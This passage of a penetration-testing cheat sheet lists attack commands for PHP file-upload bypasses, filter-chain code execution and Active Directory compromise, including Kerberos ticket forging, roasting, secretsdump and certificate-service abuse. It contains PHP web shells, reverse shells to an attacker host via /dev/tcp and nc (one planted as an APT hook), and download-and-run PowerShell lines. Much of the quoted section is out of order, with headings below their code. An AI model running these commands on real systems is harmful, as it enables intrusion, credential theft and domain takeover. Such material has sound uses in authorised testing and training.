C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log
```

**PDF PHP Inclusion**

Create a file with a PDF header, which contains PHP code.

```
%PDF-1.4

<?php
    system($_GET["cmd"]);
?>
```

```
http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami
```

**PHP Upload Filter Bypasses**

```
.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg
```

```
<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpg
```

**PHP Filter Chain Generator**

> <https://github.com/synacktiv/php_filter_chain_generator>

```
python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>"""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
```

```
http://<RHOST>/?page=php://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4
```

```
python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&0=<COMMAND>
```

**PHP Generic Gadget Chains (PHPGGC)**

```
phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txt
```

**Server-Side Request Forgery (SSRF)**

```
https://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x=
```

**Server-Side Template Injection (SSTI)**

**Fuzz String**

> <br>
>
> **arua2c**
>
> ```
> echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f"};' > /etc/apt/apt.conf.d/<FILE>
> ```
>
> **APT**
>
> ```
> sudo /usr/sbin/apache2 -f <FILE>
> ```
>
> **Read first Line of a File with apache2 Binary**
>
> **Apache2**
>
> ```
> grep -R db_passwd
> grep -roiE "password.{20}"
> grep -oiE "password.{20}" /etc/*.conf
> grep -v "^[#;]" /PATH/TO/FILE | grep -v "^$"    // grep for passwords like "DBPassword:"
> ```
>
> **grep for Passwords**
>
> ```
> find / -user <USERNAME> -ls 2>/dev/null
> find / -user <USERNAME> -ls 2>/dev/null | grep -v proc 2>/dev/null
> find / -group <GROUP> 2>/dev/null
> find / -perm -4000 2>/dev/null | xargs ls -la
> find / -type f -user root -perm -4000 2>/dev/null
> find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
> find / -cmin -60    // find files changed within the last 60 minutes
> find / -amin -60    // find files accesses within the last 60 minutes
> find ./ -type f -exec grep --color=always -i -I 'password' {} \;    // search for passwords
> ```
>
> **find Commands**
>
> ```
> id
> sudo -l
> uname -a
> env
> cat /etc/hosts
> cat /etc/fstab
> cat /etc/passwd
> ss -tulpn
> ps -auxf
> ls -lahv
> ls -R /home
> ls -la /opt
> ```
>
> **Basic Linux Enumeration**
>
> **Linux**
>
> ```
> ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local"
> ldapsearch -x -H ldap://<RHOST> -D '' -w '' -b "DC=<RHOST>,DC=local" | grep descr -A 3 -B 3
> ldapsearch -x -h <RHOST> -s base namingcontexts
> ldapsearch -x -h <RHOST> -b "dc=<RHOST>,dc=local" "*" | awk '/dn: / {print $2}'
> ldapsearch -x -h <RHOST> -D "<USERNAME>" -b "dc=<DOMAIN>,dc=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
> ldapsearch -H ldap://<RHOST> -D <USERNAME> -w "<PASSWORD>" -b "CN=Users,DC=<RHOST>,DC=local" | grep info
> ```
>
> **ldapsearch**
>
> ```
> python -c 'import hashlib,binascii; print binascii.hexlify(hashlib.new("md4", "<PASSWORD>".encode("utf-16le")).digest())'
> ```
>
> **Get NTLM from Password**
>
> ```
> .\PsExec.exe -accepteula \\<RHOST> cmd
> ```
>
> **Execute CMD on Remote Host**
>
> ```
> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
> ```
>
> **Inject Ticket with Rubeus**
>
> **Rubeus Examples**
>
> ```
> kerberos::ptt <KIRBI_FILE>
> ```
>
> **Inject TGT with Mimikatz**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME>
> ```
>
> **Generate TGT with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME>
> ```
>
> **Generate TGT with AES 128bit Key**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<KRBTGT_NTLM_HASH> /user:<USERNAME>
> ```
>
> **Generate TGT with NTLM**
>
> **mimikatz Examples**
>
> ```
> impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> ```
>
> **Execute Remote Commands by using TGT**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> ```
>
> **Set TGT for Impacket Usage**
>
> ```
> python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>
> ```
>
> **Generate TGT with aesKey**
>
> ```
> python ticketer.py -nthash <KRBTGT_NTLM_HASH> -domain-sid <SID> -domain <DOMAIN>  <USERNAME>
> ```
>
> **Generate TGT with NTLM**
>
> **Impacket Examples**
>
> **Golden Ticket**
>
> ```
> .\PsExec.exe -accepteula \\<RHOST> cmd
> ```
>
> **Execute CMD on Remote Host**
>
> ```
> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
> ```
>
> **Rubeus Examples**
>
> ```
> kerberos::ptt <KIRBI_FILE>
> ```
>
> **Inject TGS with Mimikatz**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes256:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
> ```
>
> **Generate TGS with AES 256bit Key (More secure Encryption, probably more stealth due is it used by Default)**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /aes128:<KEY> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
> ```
>
> **Generate TGS with AES 128bit Key**
>
> ```
> kerberos::golden /domain:<DOMAIN>/sid:<SID> /rc4:<NTLMHASH> /user:<USERNAME> /service:<SERVICE> /target:<RHOST>
> ```
>
> **Generate TGS with NTLM**
>
> **mimikatz Examples**
>
> ```
> impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> ```
>
> **Execute Remote Commands by using TGT**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> ```
>
> **Set the ticket for impacket use**
>
> ```
> python ticketer.py -aesKey <KEY> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>
> ```
>
> **Generate TGS with aesKey**
>
> ```
> python ticketer.py -nthash <NTLMHASH> -domain-sid <SID> -domain <DOMAIN> -spn <SPN>  <USERNAME>
> ```
>
> **Generate TGS with NTLM**
>
> **Impacket Examples**
>
> **Silver Ticket**
>
> ```
> .\PsExec.exe -accepteula \\<RHOST> cmd
> ```
>
> **Execute a CMD on Remote Host**
>
> ```
> .\Rubeus.exe ptt /ticket:<KIRBI_FILE>
> ```
>
> **Inject Ticket with Rubeus**
>
> ```
> kerberos::ptt <KIRBI_FILE>
> ```
>
> **Inject Ticket with mimikatz**
>
> **Using Ticket on Windows**
>
> ```
> impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> ```
>
> **Execute Remote Commands by using TGT**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> ```
>
> **Using Ticket on Linux**
>
> ```
> python ticket_converter.py ticket.kirbi ticket.ccache
> python ticket_converter.py ticket.ccache ticket.kirbi
> ```
>
> > <https://github.com/Zer1t0/ticket_converter>
>
> **Convert Tickets between Linux and Windows Format with ticket\_converter.py**
>
> ```
> [IO.File]::WriteAllBytes("<TICKET>.kirbi", [Convert]::FromBase64String("<TICKET>"))
> ```
>
> **Convert Tickets dumped with Rubeus into base64**
>
> ```
> sekurlsa::tickets /export
> .\Rubeus dump
> ```
>
> **Harvest Tickets from Windows**
>
> ```
> cp tickey /tmp/tickey
> /tmp/tickey -i
> ```
>
> * If none return, default is FILE:/tmp/krb5cc\_%{uid}
> * In Case of File Tickets it is possible to Copy-Paste them to use them
> * In Case of being KEYRING Tickets, the Tool tickey can be used to get them
> * To dump User Tickets, if root, it is recommended to dump them all by injecting in other user processes
> * To inject, the Ticket have to be copied in a reachable Folder by all Users
>
> ```
> grep default_ccache_name /etc/krb5.conf
> ```
>
> **Check Type and Location of Tickets**
>
> **Harvest Tickets from Linux**
>
> **Pass The Ticket (PTT)**
>
> ```
> .\PsExec.exe -accepteula \\<RHOST> cmd
> ```
>
> **Execute a CMD on Remote Host**
>
> ```
> .\Rubeus.exe asktgt /domain:<DOMAIN> /user:<USERNAME> /rc4:<NTLMHASH> /ptt
> ```
>
> **Ask and inject the Ticket**
>
> ```
> impacket-psexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-smbexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> impacket-wmiexec <DOMAIN>/<USERNAME>@<RHOST> -k -no-pass
> ```
>
> **Execute Remote Commands**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> ```
>
> **Set TGT for Impacket Usage**
>
> ```
> impacket-getTGT <DOMAIN>/<USERNAME>:<PASSWORD>
> ```
>
> **Request TGT with Password**
>
> ```
> impacket-getTGT <DOMAIN>/<USERNAME> -aesKey <KEY>
> ```
>
> **Request TGT with aesKey (More secure Encryption, probably more stealth due is it used by Default)**
>
> ```
> impacket-getTGT <DOMAIN>/<USERNAME> -hashes <LMHASH>:<NTLMHASH>
> ```
>
> **Request TGT with Hash**
>
> **Overpass The Hash/Pass The Key (PTK)**
>
> ```
> impacket-GetUserSPNs <DOMAIN>/<USERNAME>:<PASSWORD> -outputfile <FILE>
> .\Rubeus.exe kerberoast /outfile:<FILE>
> iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
> Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
> Invoke-Kerberoast -OutputFormat john | % { $_.Hash } | Out-File -Encoding ASCII <FILE>
> ```
>
> **Kerberoasting**
>
> ```
> .\Rubeus.exe asreproast  /format:hashcat /outfile:<FILE>
> ```
>
> **Check ASPREPRoast for all Domain Users in Domain**
>
> ```
> impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format hashcat -outputfile <FILE>
> impacket-GetNPUsers <DOMAIN>/ -usersfile <FILE> -format john -outputfile <FILE>
> ```
>
> **Check ASPREPRoast for a List of Users (No Credentials required)**
>
> ```
> impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format hashcat -outputfile <FILE>
> impacket-GetNPUsers <DOMAIN>/<USERNAME>:<PASSWORD> -request -format john -outputfile <FILE>
> ```
>
> **Check ASPREPRoast for all Domain Users (Credentials required)**
>
> **ASPREPRoast**
>
> ```
> .\Rubeus.exe brute /passwords:<FILE> /outfile:<FILE>
> ```
>
> **Check Passwords for all Users in Domain**
>
> ```
> .\Rubeus.exe brute /users:<FILE> /passwords:<FILE> /domain:<DOMAIN> /outfile:<FILE>
> ```
>
> **With List of Users**
>
> ```
> ./kerbrute -domain <DOMAIN> -users <FILE> -passwords <FILE> -outputfile <FILE>
> ```
>
> **Bruteforce**
>
> * Golden Ticket is a Ticket Granting Ticket (TGT) and completely forged offline (KRBTGT Account Hash needed).
> * Silver Ticket is a forged service authentication ticket (Service Principal Name (SPN) and Machine Account Keys (Hash in RC4 or AES) needed). Silver Tickets do not touch the Domain Controller (DC).
> * Diamond Ticket is essentially a Golden Ticket but requested from a Domain Controller (DC).
>
> **General Notes**
>
> > <https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a>
>
> **Kerberos**
>
> ```
> IEX(New-Object Net.webclient).downloadString('http://<LHOST>:<LPORT>/jaws-enum.ps1')
> ```
>
> **JAWS**
>
> ```
> $ python3 owneredit.py -k '<DOMAIN>/<USERNAME>:<PASSWORD>' -dc-ip <RHOST> -action write -new-owner '<USERNAME>' -target '<GROUP>' -debug
> ```
>
> > <https://github.com/fortra/impacket/blob/5c477e71a60e3cc434ebc0fcc374d6d108f58f41/examples/owneredit.py>
>
> **owneredit.py**
>
> > <https://github.com/Porchetta-Industries/CrackMapExec/blob/master/cme/helpers/msada_guids.py>
>
> Then put the `msada_guids.py` into the same directory as `dacledit.py`
>
> ```
> #from impacket.msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
> from msada_guids import SCHEMA_OBJECTS, EXTENDED_RIGHTS
> ```
>
> **Fixing msada\_guids Error**
>
> ```
> $ python3 dacledit.py <DOMAIN>/<USERNAME>:<PASSWORD> -k -target-dn 'DC=<DOMAIN>,DC=<DOMAIN>' -dc-ip <RHOST> -action read -principal '<USERNAME>' -target '<GROUP>' -debug
> ```
>
> > <https://github.com/fortra/impacket/blob/204c5b6b73f4d44bce0243a8f345f00e308c9c20/examples/dacledit.py>
>
> **dacledit.py**
>
> ```
> 241         if self.__doKerberos:
> 242             #target = self.getMachineName()
> 243             target = self.__kdcHost
> ```
>
> **How to fix it**
>
> ```
> impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <DOMAIN_CONTROLLER>.<RHOST> -no-pass -request
> Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
>
> [-] exceptions must derive from BaseException
> ```
>
> **Issue**
>
> **Fixing \[-] exceptions must derive from BaseException**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> impacket-ticketer -nthash C1929E1263DDFF6A2BCC6E053E705F78 -domain-sid S-1-5-21-2743207045-1827831105-2542523200 -domain <RHOST> -spn MSSQLSVC/<RHOST>.<RHOST> -user-id 500 Administrator
> ```
>
> * Valid User
> * NTHASH
> * Domain-SID
>
> **Requirements**
>
> **impacket-ticketer**
>
> ```
> impacket-psexec <USERNAME>@<RHOST>
> impacket-psexec <RHOST>/administrator@<RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:8a4b77d52b1845bfe949ed1b9643bb18
> ```
>
> **impacket-psexec**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> impacket-secretsdump <RHOST>/<USERNAME>@<RHOST>
> impacket-secretsdump -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass -debug
> impacket-secretsdump -ntds ndts.dit -system system -hashes lmhash:nthash LOCAL -output nt-hash
> impacket-secretsdump -dc-ip <RHOST> <RHOST>.LOCAL/svc_bes:<PASSWORD>@<RHOST>
> impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
> ```
>
> **impacket-secretsdump**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> impacket-GetUserSPNs <RHOST>/<USERNAME>:<PASSWORD> -k -dc-ip <RHOST>.<RHOST> -no-pass -request
> ```
>
> **impacket-getUserSPNs**
>
> ```
> impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format hashcat -outputfile hashes.asreproast
> impacket-GetNPUsers <RHOST>/<USERNAME> -request -no-pass -dc-ip <RHOST>
> impacket-GetNPUsers <RHOST>/ -usersfile usernames.txt -format john -outputfile hashes
> ```
>
> **impacket-GetNPUsers**
>
> ```
> impacket-getTGT <RHOST>/<USERNAME>:<PASSWORD>
> impacket-getTGT <RHOST>/<USERNAME> -dc-ip <RHOST> -hashes aad3b435b51404eeaad3b435b51404ee:7c662956a4a0486a80fbb2403c5a9c2c
> ```
>
> **impacket-getTGT**
>
> ```
> export KRB5CCNAME=<USERNAME>.ccache
> impacket-smbclient <RHOST>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
> impacket-smbclient -k <RHOST>/<USERNAME>@<RHOST>.<RHOST> -no-pass
> ```
>
> **impacket-smbclient**
>
> ```
> impacket-atexec -k -no-pass <DOMAIN>/Administrator@<DOMAIN_CONTROLLER>.<DOMAIN> 'type C:\PATH\TO\FILE\<FILE>'
> impacket-GetADUsers -all -dc-ip <RHOST> <DOMAIN>/
> impacket-getST <DOMAIN>/<USERNAME>$ -spn WWW/<DOMAIN_CONTROLLER>.<DOMAIN> -hashes :d64b83fe606e6d3005e20ce0ee932fe2 -impersonate Administrator
> impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
> impacket-netview <DOMAIN>/<USERNAME> -targets /PATH/TO/FILE/<FILE>.txt -users /PATH/TO/FILE/<FILE>.txt
> impacket-reg <DOMAIN>/<USERNAME>:<PASSWORD:PASSWORD_HASH>@<RHOST> <ACTION> <ACTION>
> impacket-rpcdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
> impacket-samrdump <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST>
> impacket-services <DOMAIN>/<USERNAME>:<PASSWORD/PASSWORD_HASH>@<RHOST> <ACTION>
> impacket-smbpasswd <RHOST>/<USERNAME>:'<PASSWORD>'@<RHOST> -newpass '<PASSWORD>'
> impacket-smbserver local . -smb2support
> ```
>
> **Impacket**
>
> ```
> evil-winrm -i <RHOST> -u <USERNAME> -p <PASSWORD>
> evil-winrm -i <RHOST> -c /PATH/TO/CERTIFICATE/<CERTIFICATE>.crt -k /PATH/TO/PRIVATE/KEY/<KEY>.key -p -u -S
> ```
>
> **Evil-WinRM**
>
> ```
> enum4linux-ng -A <RHOST>
> ```
>
> **enum4linux-ng**
>
> ```
> ./BloodHound --disable-gpu-sandbox
> ```
>
> **Start BloodHound Fork**
>
> ```
> certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLATE> -dc-ip <RHOST> -configuration <TEMPLATE>.json
> ```
>
> **Revert Changes**
>
> ```
> certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN>
> certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST> -upn <USERNAME>@<DOMAIN> -dns <FQDN> -debug
> ```
>
> ```
> certipy req -username <USERNAME>@<DOMAIN> -password <PASSWORD> -ca <CA> -target <FQDN> -template <TEMPLATE> -dc-ip <RHOST>
> ```
>
> Run the following command twice because of a current issue with `certipy`.
>
> **Certificate Request**
>
> ```
> certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template Web -dc-ip <RHOST> -save-old
> ```
>
> **Certificate Forging**
>
> ```
> # add_user <USERNAME>
> # add_user_to_group <GROUP>
> ```
>
> ```
> certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN> -ldap-shell
> ```
>
> **LDAP-Shell**
>
> ```
> certipy auth -pfx <FILE>.pfx -dc-ip <RHOST> -u <USERNAME> -domain <DOMAIN>
> ```
>
> **Authentication**
>
> ```
> certipy account create -username <USERNAME>@<DOMAIN> -password <PASSWORD> -dc-ip <RHOST> -dns <DOMAIN_CONTROLLER_DNS_NAME> -user <COMPUTERNAME>
> ```
>
> **Account Creation**
>
> ```
> certipy find -dc-ip <RHOST> -u <USERNAME>@<DOMAIN> -p <PASSWORD>
> certipy find -dc-ip <RHOST> -u <USERNAME> -p <PASSWORD> -vulnerable -stdout
> ```
>
> > <https://github.com/ly4k/BloodHound/>
>
> > <https://github.com/ly4k/Certipy>
>
> **Certipy**
>
> ```
> .\Certify find /vulnerable
> .\Certify.exe find /vulnerable /currentuser
> ```
>
> > <https://github.com/GhostPack/Certify>
>
> **Certify**
>
> ```
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object Users --attr member                                        // Get group members
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr minPwdLength                 // Get minimum password length policy
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr msDS-Behavior-Version        // Get AD functional level
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type user                       // Get all users of the domain
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type computer                   // Get all computers of the domain
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get children 'DC=<DOMAIN>,DC=local' --type container                  // Get all containers of the domain
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add uac <USERNAME> DONT_REQ_PREAUTH                                   // Enable DONT_REQ_PREAUTH for ASREPRoast
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove uac <USERNAME> ACCOUNTDISABLE                                  // Disable ACCOUNTDISABLE
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object <USERNAME> --attr userAccountControl                       // Get UserAccountControl flags
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr msDS-ManagedPassword                    // Read GMSA account password
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object '<OBJECT>$' --attr ms-Mcs-AdmPwd                           // Read LAPS password
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get object 'DC=<DOMAIN>,DC=local' --attr ms-DS-MachineAccountQuota    // Read quota for adding computer objects to domain
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> add dnsRecord <RECORD> <LHOST>                                        // Add a new DNS entry
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> remove dnsRecord <RECORD> <LHOST>                                     // Remove a DNS entry
> bloodyAD -u <USERNAME> -p <PASSWORD> -d <DOMAIN> --host <RHOST> get dnsDump                                                           // Get AD DNS records
> ```
>
> **bloodyAD**
>
> ```
> bloodhound-python -d <DOMAIN> -u <USERNAME> -p "<PASSWORD>" -gc <DOMAIN> -c all -ns <RHOST>
> bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -ns <RHOST> -c All
> bloodhound-python -u <USERNAME> -p '<PASSWORD>' -d <DOMAIN> -dc <RHOST> -ns <RHOST> --dns-tcp -no-pass -c ALL --zip
> ```
>
> **BloodHound Python**
>
> ```
> ALTER USER neo4j SET PASSWORD '<PASSWORD>'
> ```
>
> > <http://localhost:7474/browser/>
>
> **Database Password Reset**
>
> ```
> docker run -itd -p 7687:7687 -p 7474:7474 --env NEO4J_AUTH=neo4j/<PASSWORD> -v $(pwd)/neo4j:/data neo4j:4.4-community
> ```
>
> **Docker Container**
>
> > <http://localhost:7474/browser/>
>
> ```
> sudo neo4j start console
> sudo bloodhound --no-sandbox
> ```
>
> ```
> wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add -
> sudo echo 'deb https://debian.neo4j.com stable 4.0' > /etc/apt/sources.list.d/neo4j.list
> sudo apt-get update
> sudo apt-get install apt-transport-https
> sudo apt-get install neo4j
> systemctl start neo4j
> ```
>
> **Installing and starting Database**
>
> ```
> pip install bloodhound
> sudo apt-get install neo4j
> sudo apt-get install bloodhound
> ```
>
> **BloodHound**
>
> ```
> Import-Module .\ADCSTemplate.psm1
> New-ADCSTemplate -DisplayName TopCA -JSON (Export-ADCSTemplate -DisplayName 'Subordinate Certification Authority') -AutoEnroll -Publish -Identity '<DOMAIN>\Domain Users'
> ```
>
> #### ADCSTemplate
>
> ```
> certipy relay -target 'rpc://<CA>' -ca 'CA'
> certipy auth -pfx administrator.pfx -domain <DOMAIN>
> ```
>
> **ESC11: IF\_ENFORCEENCRYPTICERTREQUEST**
>
> ```
> certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn 'DC$@<DOMAIN>'
> certipy req -ca 'CA' -username <USERNAME>@<DOMAIN> -password -hashes a87f3a337d73085c45f9416be5787d86
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
> certipy auth -pfx dc.pfx -dc-ip <RHOST> -ldap-shell
> ```
>
> **Case 2**
>
> ```
> certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -hashes a87f3a337d73085c45f9416be5787d86
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME -upn <USERNAME>@<DOMAIN>
> certipy auth -pfx administrator.pfx -domain <DOMAIN>
> ```
>
> **Case 1**
>
> **ESC10: Weak Certificate Mappings**
>
> ```
> certipy shadow auto -username <USERNAME>@<DOMAIN> -password <PASSWORD> -account <USERNAME>
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn Administrator
> certipy req -ca '<CA>' -username <USERNAME> -hashes 54296a48cd30259cc88095373cec24da -template <TEMPLATE>
> certipy account update -username <USERNAME>@<DOMAIN> -password <PASSWORD> -user <USERNAME> -upn <USERNAME>@<DOMAIN>
> certipy auth -pfx administrator.pfx -domain <DOMAIN>
> ```
>
> **ESC9: No Security Extensions**
>
> ```
> sudo ntlmrelayx.py -t http://<RHOST>/certsrv/certfnsh.asp -smb2support --adcs --template <TEMPLATE>
> python3 PetitPotam.py <RHOST> <DOMAIN>
> python3 gettgtpkinit.py -pfx-base64 $(cat base64.b64) '<DOMAIN>'/'dc$' 'dc.ccache'
> export KRB5CCNAME=dc.ccache
> sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
> ```
>
> **Coercing**
>
> ```
> certipy relay -target 'http://<CA>'
> certipy relay -ca '<CA>' -template <TEMPLATE>
> python3 PetitPotam.py <RHOST> <DOMAIN>
> certipy auth -pfx dc.pfx -dc-ip <RHOST>
> export KRB5CCNAME=dc.ccache
> sudo secretsdump.py -k -no-pass <DOMAIN>/'dc$'@<DOMAIN>
> ```
>
> **ESC8: NTLM Relay to AD CS HTTP Endpoints**
>
> ```
> certipy ca -ca '<CA>' -add-officer <USERNAME> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
> certipy ca -ca '<CA>' -enable-template SubCA -username <USERNAME>@<DOMAIN> -password <PASSWORD>
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template SubCA -upn administrator@<DOMAIN>
> certipy ca -ca '<CA>' -issue-request <ID> -username <USERNAME>@<DOMAIN> -password <PASSWORD>
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -retrieve <ID>
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC7: Vulnerable Certificate Authority Access Control**
>
> ```
> certipy find -username <USERNAME>@<DOMAIN> -password <PASSWORD> -vulnerable -dc-ip <RHOST> -stdout
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
> certipy req -ca '<CA>' -username administrator@<DOMAIN> -password <PASSWORD> -target <CA> -template User -upn administrator@<DOMAIN>
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC6: EDITF\_ATTRIBUTESUBJECTALTNAME2**
>
> ```
> certipy template -username <USERNAME>@<DOMAIN> -password <PASSWORD> -template <TEMPLAET> -save-old
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE> -upn administrator@<DOMAIN>
> certipy auth -pfx administrator.pfx -dc-ip <RHOST>
> ```
>
> **ESC4: Vulnerable Certificate Template Access Control**
>
> ```
> certipy req -ca '<CA>' -username <USERNAME>@<DOMAIN> -password <PASSWORD> -target <CA> -template <TEMPLATE>
